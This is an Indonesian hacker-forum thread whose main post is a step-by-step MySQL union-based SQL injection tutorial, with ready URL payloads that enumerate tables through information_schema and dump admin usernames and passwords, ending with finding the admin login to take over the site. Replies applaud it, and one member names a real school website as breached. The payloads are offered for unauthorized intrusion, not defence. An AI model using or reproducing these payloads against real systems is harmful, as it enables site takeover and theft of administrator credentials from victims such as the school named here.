sultan adam hacker community
Would you like to react to this message? Create an account in a few clicks or log in to continue.

* Edit post * Delete post * Report this post * Information * Reply with quote [Tutorial By R3B3L] My SQL Injection Step by Step

2 posters

Go down

* Edit post     * Delete post     * Report this post     * Information     * Reply with quote  [Tutorial By R3B3L] My SQL Injection Step by Step Empty * Edit post * Delete post * Report this post * Information * Reply with quote [Tutorial By R3B3L] My SQL Injection Step by Step

Post  M4ST3R R3B3L Thu Apr 16, 2009 5:36 am

Pengertian sql injection:
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

===========
=step Satu:=
===========

carilah target
misal: [site]/berita.php?id=100

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100' atau
[site]/berita.php?id=-100

sehingga muncul pesan error seperti berikut (masih bnyak lagi):


==========
=step Dua:=
==========

mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by

contoh: [site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*

ceklah secara step by step (satupersatu)...
misal: [site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--

sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+9--

berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--


===========
=step Tiga:=
===========

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..


============
=step Empat:=
============
untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--

seumpama table yang muncul adalah "admin"


===========
=step Lima:=
===========

untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--


=============
= step Enam: =
=============

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :

www.ascii-convert.co.cc

contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E--


============
=step Tujuh:=
============

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--


contoh kata yang keluar adalah id,username,password

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--



==============
= step Delapan:=
==============

tahap terakhir mencari halam admin atau login

selanjutnya terserah anda karena kekuasaan web ada di tangan ente..

moga bermanfaat.. Cool
M4ST3R R3B3L
M4ST3R R3B3L
webmaster
webmaster

Jumlah posting : 13
Join date : 08.04.09
Age : 33
Lokasi : Bawah Jembatan

http://www.indonesiacoder2.tk

Kembali Ke Atas Go down

* Edit post     * Delete post     * Report this post     * Information     * Reply with quote  [Tutorial By R3B3L] My SQL Injection Step by Step Empty mantrap...........

Post  hack_dhe Thu Apr 16, 2009 5:41 am

ini baru master5 rebel.....

teruskan bel...aq ndiri yg admin masih ngos2an liat tutor nya loo... Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked Shocked
hack_dhe
hack_dhe
administator
administator

Jumlah posting : 9
Join date : 01.04.09
Age : 32
Lokasi : di kuburan

https://sultanadam-hc.indonesianforum.net

Kembali Ke Atas Go down

* Edit post     * Delete post     * Report this post     * Information     * Reply with quote  [Tutorial By R3B3L] My SQL Injection Step by Step Empty http://www.sman6-bjm.sch.id/

Post  hack_dhe Thu Apr 16, 2009 5:52 am

tc bobol http://www.sman6-bjm.sch.id/


w nakin loo jdi webmaster low bsa bo2l !!!!!!!!!!!!!!!!!!!!! Twisted Evil Twisted Evil Twisted Evil Twisted Evil Twisted Evil Twisted Evil Twisted Evil Twisted Evil
hack_dhe
hack_dhe
administator
administator

Jumlah posting : 9
Join date : 01.04.09
Age : 32
Lokasi : di kuburan

https://sultanadam-hc.indonesianforum.net

Kembali Ke Atas Go down

* Edit post     * Delete post     * Report this post     * Information     * Reply with quote  [Tutorial By R3B3L] My SQL Injection Step by Step Empty Re: * Edit post * Delete post * Report this post * Information * Reply with quote [Tutorial By R3B3L] My SQL Injection Step by Step

Post  M4ST3R R3B3L Sat Apr 25, 2009 4:26 am

waduh....

oy oy oy mas mas sekalian....

kenapa sih pake jajah web sendiri....???

aduhhhhhhhhhhh.......

parahhhhhhhhhh.......!!!

kan ada alien crew yg menunggu kedatangan kita....???

aduhhhhhhhhhh

beeeeeeeeeeeeeee

parahhhhhhhhhhhhhh

iiiiiiiiiiiiiiii.........

si eka.....

huuf

Evil or Very Mad Evil or Very Mad Evil or Very Mad
M4ST3R R3B3L
M4ST3R R3B3L
webmaster
webmaster

Jumlah posting : 13
Join date : 08.04.09
Age : 33
Lokasi : Bawah Jembatan

http://www.indonesiacoder2.tk

Kembali Ke Atas Go down

* Edit post     * Delete post     * Report this post     * Information     * Reply with quote  [Tutorial By R3B3L] My SQL Injection Step by Step Empty Re: * Edit post * Delete post * Report this post * Information * Reply with quote [Tutorial By R3B3L] My SQL Injection Step by Step

Post  Sponsored content


Sponsored content


Kembali Ke Atas Go down

Kembali Ke Atas

- Similar topics

 
Permissions in this forum:
Anda tidak dapat menjawab topik